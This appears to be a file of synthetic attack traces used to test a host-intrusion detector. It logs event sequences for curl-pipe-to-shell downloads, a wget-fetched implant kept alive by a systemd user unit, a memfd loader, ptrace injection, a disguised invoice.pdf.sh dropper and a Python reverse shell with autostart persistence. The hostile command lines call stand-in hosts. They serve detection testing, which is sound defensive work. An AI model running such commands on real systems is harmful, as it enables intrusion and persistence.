# Standard attack traces for `strawberry --replay --inject` (Stage 3 evaluation). # Format: include/strawberry/learn/trace.hpp. Paths under /home/u become # /home/ in templates, so they look like any user's. trace browser_curl_sh +0s exec browser /usr/lib/firefox/firefox "firefox" +20s exec sh /usr/bin/sh "sh -c curl -fsSL https://cdn-update.example/i.sh | sh" parent=browser +20s exec curl /usr/bin/curl "curl -fsSL https://cdn-update.example/i.sh" parent=sh +21s connect curl 203.0.113.10 443 +22s exec stage2 /usr/bin/bash "bash" parent=sh +23s write stage2 /tmp/.X11-cache drop "temporary directory" trace systemd_user_persistence +0s exec shell /usr/bin/bash "bash" +1s exec fetch /usr/bin/wget "wget -q -O /home/u/.local/bin/updater https://203.0.113.20/u" parent=shell +2s connect fetch 203.0.113.20 80 +3s write shell /home/u/.config/systemd/user/updater.service persistence "systemd user unit" +4s exec ctl /usr/bin/systemctl "systemctl --user enable --now updater.service" parent=shell +5s exec implant /home/u/.local/bin/updater "/home/u/.local/bin/updater" parent=shell +6s connect implant 198.51.100.20 8443 trace memfd_loader +0s exec loader /usr/bin/python3 "python3 -c import os,urllib.request" +1s connect loader 198.51.100.30 443 +2s exec payload "/memfd:kworker (deleted)" "[kworker/0:1]" parent=loader +3s connect payload 198.51.100.30 4444 trace ptrace_injection +0s exec victim /usr/bin/bash "bash" +1s exec inject /tmp/.cache/hlp "/tmp/.cache/hlp -p 1234" parent=victim +2s ptrace inject victim +2s module inject trace download_exec +0s exec browser /usr/lib/chromium/chromium "chromium" +5s write browser /home/u/Downloads/invoice.pdf.sh drop "downloads" +30s exec shell /usr/bin/bash "bash" +31s exec run /home/u/Downloads/invoice.pdf.sh "/home/u/Downloads/invoice.pdf.sh" parent=shell +32s connect run 203.0.113.40 443 trace pdf_python +0s exec viewer /usr/bin/evince "evince /home/u/Documents/invoice.pdf" +3s exec py /usr/bin/python3 "python3 -c import socket,subprocess,os" parent=viewer +4s connect py 198.51.100.50 4444 +5s write py /home/u/.config/autostart/evince-helper.desktop persistence "desktop autostart"